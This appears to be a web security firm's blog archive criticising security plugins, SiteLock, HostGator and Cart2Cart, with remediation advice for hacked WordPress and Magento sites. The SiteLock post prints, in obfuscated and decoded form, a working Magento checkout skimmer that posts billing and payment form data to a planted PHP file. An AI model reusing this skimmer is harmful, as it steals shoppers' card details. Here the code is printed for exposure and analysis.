Category Archives: Bad Security

SiteGuarding.com’s WordPress Security Plugin Touts Its Use For Those That Pirate Software, While Charging For Its Services

When it comes to security plugins for WordPress, we don’t think to highly of most of them. But we have continued to be surprised how low things can go with them. Take for example the¬†WP Antivirus Site Protection (by SiteGuarding.com) plugin, which on it’s description page on the Plugin Directory it states near the top:

This plugin will be especially useful for everybody who downloads WP themes and plugins from torrents and websites with free stuff instead of purchase the original copies from the developers. You will be shocked, how many free gifts they have inside ūüôā

Their touting its use for those that pirate WordPress themes and plugins is kind of incredible on its own (note the lack of past tense in terms of downloading that software or lack of suggestion not to do that). But more incredible is the fact that at the same time the plugin is really just a connection for a mostly paid service, so they think you should pay them, but are okay with people not paying the developers of software.

What makes that dichotomy more striking is the comments from the developer on some of the negative reviews of the plugins.

One review reads:

If your website contains a file larger than 25MB, the plugin will abort and ask you to upgrade rather than just skipping it and warning you. The plugin is just a leadgen ploy. Uninstalled. Further more, of all the wordpress hacks I’ve ever seen, files affected are NEVER large or over a few kb.

That seems like reasonable complaint, which gets this response from the developer:

free version has limits. if you are not ready to pay for the security enjoy and live with the viruses.

As part of their response to another review the developer wrote in part:

If you installed it again. It means plugin is good, you just dont want to pay for good plugins and services and want everything for free.

It is also worth noting that there are a lot of rather fake looking reviews for the plugin.

Posted in Bad Security, WordPress Plugins | Tagged , | 1 Comment

The Fact That Wordfence Couldn’t Clean Up a Hacked Website Doesn’t Stop People From Suggesting That It Will Clean It

When it comes to improving the security of websites one of the biggest problems we see if the shear amount of bad information, including lots of bad advice, that is being put out there. We frequently see people suggesting using the Wordfence plugin for WordPress, which we have hard time believing somebody who is knowledgable about security would recommend due to a number of issues. Those issues include the fact that broad based security plugins like that are not all that useful against real threats, that more than a few security vulnerabilities have been found in the Wordfence plugin itself, that the developers don’t seem to have a¬†good grasp of security, and that the plugin¬†produces some really bad false positives. Usually you have no way of knowing if somebody giving out that advice has a different opinion in regards to those types of things or they are giving advice without really being informed about the situation.¬†In some cases you can see that advice is being handed out uniformed, though.

As part of keeping track of security issues in WordPress plugins for our¬†Plugin Vulnerabilities service,¬†we monitor the wordpress.org forum for threads¬†related to plugin vulnerabilities. In addition to helping to find some more vulnerabilities to include in our data, we run across threads about other security issues related to WordPress and WordPress plugins. In one of those we saw when the use of Wordfence being suggested as a solution, when that clearly wasn’t helpful¬†advice.

The original poster in the thread described the problem they were having cleaning up a hacked website. After trying numerous things, including reverting to a backup copy, malicious files were continuing to be added to the website. At the end of the post they mentioned that they have three WordPress security plugins installed, but that they hadn’t been any help:

Protections plugins I’m currently using (and which can’t find anything wrong with the website)

Despite that one those plugins was Wordfence, the second and third responses suggested that Wordfence could deal with the issue:

Yes, those are not default files. WordFence is the best for scanning once you are already infected.

and

I had the same issue, so far WordFence has done a great job. Two days and no wp-checking.php has showed up. Yet!

In this type of situation what we would recommend, and did later in the thread, is to see if you can determine if the hacker still has some sort of access to the website, which is allowing them to continue to modify the website, and if that is the case, close off that access.

Incidentally, one of the other plugins they were using, AntiVirus, was one that we found was flagging a fresh install of WordPress as having virus back in 2012.

Posted in Bad Security, WordPress Plugins | Tagged | Leave a comment

Google Needs to Improve the Review Process for Websites Labeled “This site may be hacked”

Early last year Google changed some of the underlying technology used in their process of of handling¬†websites they suspect of being hacked (which leads to a “This site may be hacked” message being added to listings for the websites on Google’s search results). More than a year later¬†we are still finding that the review process for getting the”This site may be hacked” message removed after cleaning up such a website is in poor shape and likely lead leading to a lot of confusion for people trying to navigate it if they don’t deal with it’s problems on regular basis (like we do). While we think that what Google is doing by warning about these situations is a good thing, the¬†current state of the review process is not acceptable.

To give you an idea of what are people are dealing with lets take a look at what we just dealt with while getting Google to clear a website we had cleaned up.

Once you have cleaned a website with the “This site may be hacked” message, you need to add the website to Google’s Search Console¬†and then you can request a review in the Security Issues section of that.¬†That section will also give you information on what Google detected:

security-issues-page-1

 

In this case Google detected that spam pages were being added to the website, which they refer to as an URL injection.

Before requesting a review last Monday, we doubled checked that the spam pages no longer existed using the Fetch as Google tool in the Search Console, which allows you to see that what is served when a page is requested by Google. The URL they listed on the Security Issues page was “Not found” when we used the tool, indicating that the spam page was no longer being served to Google.

On Tuesday a message was left in Google’s Search Console for the non-www version of the website’s domain indicating that¬†hacked content had been detected:

seach-console-message-non-www

Considering that Google was already listing the website as having a security issue for several days you might think this was a new detection, but it wasn’t. In the security issues section it still listed the old last detected date:

security-issues-page-2

Using the Fetch as Google tool in the¬†Search Console we requested the URL again and it was still “Not found”:

fetch-as-google-4-19-2016

Then on Wednesday the same message was left for the www version of the domain:

seach-console-message-www

Again the last detected date in the Security Issues section hadn’t been changed and the using the Fetch as Google too the URL was still “Not found”:

fetch-as-google-4-20-2016

Then on Saturday the Security Issues page indicated that URL injection had been detected as of that day:

security-issues-page-3

We again used the Fetch as Google tool and it was still “Not found”:

fetch-as-google-4-23-2016

At this point we also checked the website over to make sure the malicious code hadn’t returned and it hadn’t.

Then this morning the warning was gone from the search results and the Security Issues page was clear:

security-issues-page-4

Considering that nothing changed between Saturday and today, that detection on Saturday would seem to be some kind of a mistake. Seeing at the page wasn’t even being found this doesn’t seem like an understandable false positive, but something seriously wrong with their system. If you weren’t aware of that how problematic the process is, you might have been very concerned upon seeing the new false detection.

The fact that it took them a week to finally clear the website also doesn’t seem to be an acceptable in this case.

 

Posted in Bad Security, Google | Tagged | 1 Comment

iThemes Security Plugin Has “One-Click Secure” Button That Does Nothing Except Claim The Website Has Been “Secured”

We are frequently asked what about various broad based WordPress security plugins and which ones should be used. Our answer to the second¬†part of that¬†is none of them. These plugins generally provide little protection against actual threats and have been found to have security vulnerabilities themselves fairly often. That second part might sound odd, you would think that someone developing a security related plugin would be very careful about the security of their plugin, but people that actually know about security would be unlikely to be involved in developing one of these due to the first part of that, that they don’t provide much protection against actual threats.

So what you are left with is products generally developed by people that don’t have much concern for real security and in a lot of cases seem to be mainly interested in making money by taking advantage of the public that understandably lacks strong security knowledge. That results in lots of plugins and related services that end up scaring people based on bad or false information and that collect information from users under false pretense.

If you are looking for some particular security feature you would be better off finding a plugin that doesn’t also include a kitchen sink of other features¬†with it, since that reduces amount of code that could be harboring security vulnerabilities. The important things you need to do to keep your website secure are listed here.

The iThemes Security Plugin And Trust

That all brings us to something we just ran across with one of those plugins, iThemes Security (formerly Better WP Security), which is listed as having 700,000+ active installs.

One important element of any security product is trust,¬†since the average user can’t verify that a product does what it says, they are trusting the developers in a major way. Any abuse of that trust should be a major¬†red flag. That trust is¬†something the developers of the iThemes Security plugin don’t seem to care about.

When you install and activate the iThemes Security plugin a notice is displayed at the top of the page with a button to “Secure Your Site Now”:

ithemes-security-1

Clicking on that brings up this page:

ithemes-security-2

The most important part of that would seem to be the section Titled “Secure Your Site”:

Use the button below to enable default settings. This feature will enable all settings that cannot conflict with other plugins or themes.

When you click on the One-Click Secure button, you get a message that it is “Working…” for a moment:

ithemes-security-4

Then it will tell you that “Site Secured. Check the dashboard for further suggestions on securing your site.”:

ithemes-security-5

Based on that you would think that the website has been secured in some way after doing that. It turns out that nothing actually has happened, something we found about when ran across a post on a thread on the WordPress.org support forum for the plugin that stated

Please note that since the 5.2.0 release (5.2.1 included) clicking on the One-Click Secure button in the First Important Steps modal window will not do anything despite the fact that it still reports:

Site Secured. Check the dashboard for further suggestions on securing your site.

which is also kind of lame as there is no longer a Security Status section on the Dashboard page …

Note this is not a bug, since iThemes knowingly removed the code that was normally executed behind this button …

If you want to see that for yourself you can see the changes made in version 5.2.o here¬†(doing a search on the page for “Register one-click settings” will take you to parts of the page where that is shown).¬†What makes this even more incredible is how long ago this happened, version 5.2.0 was release on January 18 and the post pointing that out is now two months old, and yet it is still that way now.

When they don’t care about misleading people with something that visible, then you have to wonder what else they might be misleading people about. We already spotted¬†one other thing, but you will have to wait for a future post to hear about that.

Posted in Bad Security, WordPress Plugins | Tagged | Leave a comment

Somebody’s Impersonating Us On The Hacker News

A lot of strange stuff happens on the Internet. Case in point, today some posted a comment on a Hacker New post claiming to be us, saying:

This type of nonsense from WordFence shouldn’t surprise anyone. I’ve written of their incompetence before: http://www.whitefirdesign.com/blog/2015/02/23/wordfence-real…

Laugh and move on…

That wasn’t us and we don’t have an account there.

 

Posted in Bad Security | Leave a comment

Who’s The Worse Party In HostGator’s and SiteLock’s Security Partnership?

The web host HostGator has a partnership with the security company SiteLock where if your website is hacked HostGator suggests you hire SiteLock to fix it, which if you followed our previous post’s on SiteLock would seem like a bad idea. The actual results also back that up, as¬†situation we we dealt with recently highlighted.

A website we were going to be doing an upgrade on once HostGator changed the PHP version on the server,¬†got hacked and was rendered non-functional due to it being defaced. HostGator recommend SiteLock to clean up the website. Getting the website back up and running should have taken just a few minutes (by replacing the index.php file in the root directory), with a full cleanup taking a few hours. Four hours after they were supposed to have started it was still not functional and we were contacted to see if we had any suggestions. The website only became functional later in the day after the website’s developer followed our advice to replace¬†the index.php file, by the next morning SiteLock had removed the defaced index.php file. When we double checked SiteLock’s work later we found that they had not removed a backdoor script, which allows a hacker remote access to a website, that had been added to a core Magento file in the root directory of the website.¬†While things can be missed during a cleanup, this seems to be a case where corners were probably cut instead of an understandable mistake since a simple file comparison of the website’s file with a clean copy of Magento would have spotted that backdoor script.

All this would point to it being a bad idea for HostGator to have partnered with SiteLock, but there are problems going the other way as well.

A couple of weeks ago we discussed the fact that HostGator misrepresents what security SSL certificates provides. If SiteLock was actually concerned about security it seems like the kind of thing they would want to make sure a partner isn’t doing. But a much more important issue that we have noticed with HostGator when comes to a security, particularly when comes to the cleanup of hacked websites, is that HostGator doesn’t have it set so that log files for websites they host are archived. By not doing that it is much harder to determine how a website was hacked (since the evidence often resides in those logs) and therefore makes¬†it harder to make sure the website has been secured against the hack happening again. We have trouble understanding why a security company would want to partner with a web hosting company that makes doing a good job more difficult than it needs to be. Especially when archiving logging isn’t some obscure feature, it prominently featured on the Raw Access Logs page in cPanel:

host-gator-cpanel-raw-access-logs-page

Incidentally, if you are hosted with HostGator or another web host that uses cPanel, now would be a good time to make sure you have archiving enabled in cPanel.

Posted in Bad Security | Tagged , | Leave a comment

HostGator’s Dangerous Misrepresentation of the Security Value of An SSL Certificate

While working on a client’s website hosted with HostGator recently we noticed this odd ad in their cPanel account:

Install An SSL!, Stop Evil-Doers!, ADD SSL Today!

SSL is a protocol, so isn’t something that you would install. It seemed like they were probably referring to installing an SSL certificate, which would have a decidedly non super-human ability to stop evil-doers.¬†Clicking the image took us to this page,¬†where they were selling SSL certificates, but again they referred to SSL in a strange fashion:

Why get an SSL certificate?

An SSL reduces your risk by keeping sensitive data collected on your website safe. The data is encrypted and backed by a warranty worth up to $1.75M.

Having HTTPS in the address bar and displaying a seal of trust increases customer confidence in your website and drives more sales.

It seems like they marketing something they don’t really understand on basic level, which leads to the aspect we find more troubling than there odd phrasing, the¬†claim that SSL keeps sensitive data collected on your website safe.¬†To understand why, first it helps to have a basic understanding of what SSL is.¬†SSL is a series of protocols for transferring data from one location to another in encrypted form. An SSL certificate is used identity that that the SSL connection is in fact being made to the website you are connecting to.

SSL should protect against¬†someone gaining access to data being transmitted from a customer’s computer to¬†a¬†website while it is being transmitted, but that is where SSL’s role ends. Once the data is decrypted on website’s end its safety relies on the website being otherwise secure. If someone were to believe that getting SSL certificate is going to keep the data safe, they would be more likely to not¬†take the other measures they need to keep that¬†sensitive data secure (which isn’t an insignificant issue these days).

On top of all of this you can get an equivalent SSL certificate from other providers for significantly less money.

Posted in Bad Security | Tagged , | Leave a comment

SiteLock’s Strange Cleanup Idea

While reviewing reports of WordPress plugin vulnerabilities for our Plugin Vulnerabilities service recently we came across an odd report from SiteLock. The claimed security issue in the plugin resolved around the fact that:

The File Browser plugin begins its security by determining if the plugin’s readme file is present. If it finds readme.txt, it then examines user levels to authenticate the user.

Their concern with that was:

But if the plugin’s readme file was renamed or removed, the authentication process fails and grants complete access to the plugins’ core functionality.

That would be a problem, but this really doesn’t seem like it is something likely to happen. Unless someone could take advantage of another security vulnerability that allows the deletion of arbitrary files, there really isn’t any reason that file should be change, right? Well SiteLock thinks so:

But the reliance on the presence of the readme file was dangerous as it’s not uncommon for a site owner or web developer to remove unnecessary text files, like readmes, as part of a site cleanup.

We have never heard of doing something like that, so we are not sure what the context is supposed be. But if they are talking a hack cleanup (they are a security company after all) that definitely wouldn’t be something you should be doing.

With WordPress plugins you can clean them in several ways: upgrading them (all the old files in the plugin’s directory in /wp-content/plugins/ get deleted during that), deleting the plugin’s files and replacing them with a clean copy, or comparing the plugin’s files with a clean copy and removing any malicious code (which gives you the advantage of seeing if the hacker made any changes). Deleting the readme.txt files, without replacing them, wouldn’t happen with any of those.

When you start messing with non-malicious files that can lead to bad things happening, like breaking the website, something SiteLock has managed to do in the past.

Posted in Bad Security | Tagged | 1 Comment

SiteLock Labels Website as Secure Despite Being Very Dangerous For Visitors

When it comes to the poor state of security for websites, a lot of the blame for that probably¬†belongs to the¬†security companies, that¬†don’t seem to have much concern for security. One of the worst offenders is the¬†purveyors of website security or trust seals, that claim that websites are secure. Those companies seem to be mainly interested in¬†selling the idea that their customer’s websites are secure, without being too concerned whether they are or not (in some cases placing their seals on website they know are not secure).

Several times in the past we have noted instances where websites we were working on, in which one of these companies, SiteLock, was labeling the websites as being secure despite the fact the websites were running outdated software with known security vulnerabilities. That being despite the ease it would be to check for the use of outdated software. In the latest case we are working on a website they label as being secure

SiteLock SECURE seal

despite the fact that the website had been hacked and contained code on its webpages that compromised any information entered on the checkout section of the website. If that doesn’t make a website insecure, we are not sure what would.

What makes it stick out even more is that the code wasn’t hidden, it was sitting at the bottom of the page right below the code for SiteLock seal:

<div id="sitelock_shield_logo" class="fixed_btm" style="bottom:0;position:fixed;_position:absolute;right:0;"><a href="https://www.sitelock.com/verify.php?site=[redacted]" onclick="window.open('https://www.sitelock.com/verify.php?site=[redacted]','SiteLock','width=600,height=600,left=160,top=170');return false;" ><img alt="SiteLock" title="SiteLock" src="//shield.sitelock.com/shield/[redacted]"></a></div><script>var _0x1137=["\x63\x6C\x69\x63\x6B","\x2F\x6D\x65\x64\x69\x61\x2F\x63\x61\x74\x61\x6C\x6F\x67\x2F\x70\x72\x6F\x64\x75\x63\x74\x2F\x63\x61\x63\x68\x65\x2F\x31\x2F\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x2F\x37\x30\x30\x78\x2F\x32\x62\x66\x38\x66\x32\x62\x38\x64\x30\x32\x38\x63\x63\x65\x39\x36\x2F\x42\x2F\x57\x2F\x64\x61\x34\x31\x38\x30\x33\x63\x63\x39\x38\x34\x62\x38\x63\x2E\x70\x68\x70","\x50\x4F\x53\x54","\x66\x6F\x72\x6D","\x73\x65\x72\x69\x61\x6C\x69\x7A\x65","\x61\x6A\x61\x78","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x3D\x27\x62\x69\x6C\x6C\x69\x6E\x67\x2E\x73\x61\x76\x65\x28\x29\x27\x5D","\x63\x68\x65\x63\x6B\x6F\x75\x74\x2D\x73\x74\x65\x70\x2D\x62\x69\x6C\x6C\x69\x6E\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x3D\x27\x70\x61\x79\x6D\x65\x6E\x74\x2E\x73\x61\x76\x65\x28\x29\x27\x5D","\x63\x68\x65\x63\x6B\x6F\x75\x74\x2D\x73\x74\x65\x70\x2D\x70\x61\x79\x6D\x65\x6E\x74"];function s1(){jQuery(_0x1137[7])[0][_0x1137[6]](_0x1137[0],function(){jQuery[_0x1137[5]]({url:_0x1137[1],type:_0x1137[2],data:Form[_0x1137[4]](billing[_0x1137[3]])})})}document[_0x1137[9]](_0x1137[8])[_0x1137[6]](_0x1137[0],s1());function s2(){jQuery(_0x1137[10])[0][_0x1137[6]](_0x1137[0],function(){jQuery[_0x1137[5]]({url:_0x1137[1],type:_0x1137[2],data:Form[_0x1137[4]](payment[_0x1137[3]])})})}document[_0x1137[9]](_0x1137[11])[_0x1137[6]](_0x1137[0],s2());</script></body> </html>

 

The code is also stored right along side the SiteLock seal code in the website’s database:

malicious-code-below-sitelock-code-in-database

 

The code is slightly obfuscated, which we would assume would make a good malicious code scanning tool (if one actually exists) more suspicious of it, but it shouldn’t be anything that should be a problem for one to deobfuscate. When that is done you can see that code watches for some actions being taken in the Magento checkout process and then transmit the data being entered to another file on the website for later retrieval by the hacker:

<script>var _0x1137=["click","/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php","POST","form","serialize","ajax","addEventListener","[onclick='billing.save()']","checkout-step-billing","getElementById","[onclick='payment.save()']","checkout-step-payment"];function s1(){jQuery([onclick='billing.save()'])[0][addEventListener](click,function(){jQuery[serialize]({url:/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php,type:POST,data:Form[serialize](billing[form])})})}document[getElementById](checkout-step-billing)[addEventListener](click,s1());function s2(){jQuery([onclick='payment.save()'])[0][addEventListener](click,function(){jQuery[serialize]({url:/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php,type:POST,data:Form[serialize](payment[form])})})}document[getElementById](checkout-step-payment)[addEventListener](click,s2());</script>

If you are relying on SiteLock to keep your website secure, now would be a good time to stop that and instead focus on making sure you take the steps that will actually keep your website secure. (In this case the website was hacked due to Magento not being kept up to date.)

While we are discussing SiteLock it also worth mentioning the fact that they also don’t properly clean up hacked websites, but do¬†manage to break them¬†when doing a less they should be.

Despite their abysmal record, SiteLock claims¬†to be “The Global Leader in¬†Website Security” (how much worse much worse at website security must they think their competitors are?):

sitelock-global-leader

Posted in Bad Security | Tagged | Leave a comment

Cart2Cart’s Strange Magento Security Announcement

Last October we wrote a post about strong circumstantial evidence pointing to the fact FTP credentials provided to the company Cart2Cart had compromised on their end. In the past few days we became aware of a security announcement they put out that either obliquely notifies their customers of that compromise of FTP credentials or indicates they really have no clue when it comes to security (while feeling it appropriate to be giving out security advice).

They are sending out the following email to customers:

We’re writing to inform you that our security audit has revealed an unpleasant vulnerability of certain Magento stores. Considering the fact that Magento shops are being attacked by hackers more often lately, we strongly recommend you to double-check the security of your e-store.

Please, contact your developer team, so that they could scan your Magento source code in order to ensure that your shop is not under the threat of being abused. Read more info here:
http://www.shopping-cart-migration.com/important-security-announcement-for-magento-store-owners

If you need technical assistance regarding this, reply to this email and we will check your store from our side.

Following the link mentioned there, you get a page that starts out:

After performing an audit, we’ve revealed an unpleasant vulnerability of certain Magento stores that may have a negative impact on the security of your customers’ personal data.

To ensure the finest security of your Magento retailer, we strongly recommend you to contact your developer team and check the source code for the presence of any suspicious customizations.

The link to “an unpleasant vulnerability” discusses not a vulnerability, but the end result of a vulnerability being exploited, code added to one of Magento’s files that sends credit card information entered on the hacked website to a third-party. The distinction is quite important because when a website is hacked, if you don’t find and fix the vulnerability that allowed it to be hacked the website can remain vulnerable to being hacked again.

Cart2Cart’s email and page¬†never mention what the code they are mentioning does, instead saying “First of all, there‚Äôs no need to panic. You can eliminate any possible risks simply by revealing and deleting the code, if there‚Äôs any.”.

The next thing they say leads us to believe this could be a reference to their being compromised (or it shows they have no idea what they are talking about) as it suggest doing two things if you have the code on your website:

  1. Delete the following code inside and save the changes:
  2. Change your FTP account credentials

Those steps would suggest that the hack happened through compromised FTP credentials, since they want to change those credentials. But the FTP credentials would have to have been compromised somehow, yet they don’t suggest doing anything to stop them from being compromised again. That could be because the compromised happened on their end and has now been fixed, or it could suggest they have no clue what they are talking about.

The last section of the page would certainly lend some credence to them not having much clue when it comes to the security of websites. They provide this list of security tips:

Useful Security Tips

  1. Use up-to-date antivirus software

  2. Don’t store your FTP account passwords in programs like Total Commander, Filezilla, etc.

  3. Change your FTP account password periodically e.g. once a month, especially after granting access to any service providers

  4. Limit the FTP access to specific IP addresses

  5. Change the administration panel login “admin” to a custom one

  6. Hire certified developers, designers or other staff you can trust to only

  7. Use repository for a proper and secure workflow

Notable missing from their list of security tips is keeping the software on your website up to date. Not only is this a basic security measure, but it is particularly relevant with Magento based websites right now, since most of the hacked Magento based websites we are cleaning these days have been hacked due to the software not being kept up to date (or not having the security patches for older versions applied).

If you do find code added /app/code/core/Mage/Payment/Model/Method/cc.php, removing the code and changing the FTP credentials is not enough. You will want to also:

  • review the rest of the websites files for malicious code and remove any found
  • check for Magento extensions added by a hacker
  • check for additional Magento admin users
  • get Magento secured by either upgrading it to the latest version of 1.9, currently 1.9.2.3, or applying the security patches for older versions
  • rename the Magento admin directory to something other than “admin”
  • change the passwords for other logins associated with the website¬†(database, Magento admin, etc), in case they were compromised
  • try to determine how the website was hacked and make sure that is fixed
Posted in Bad Security, Magento | Tagged | Leave a comment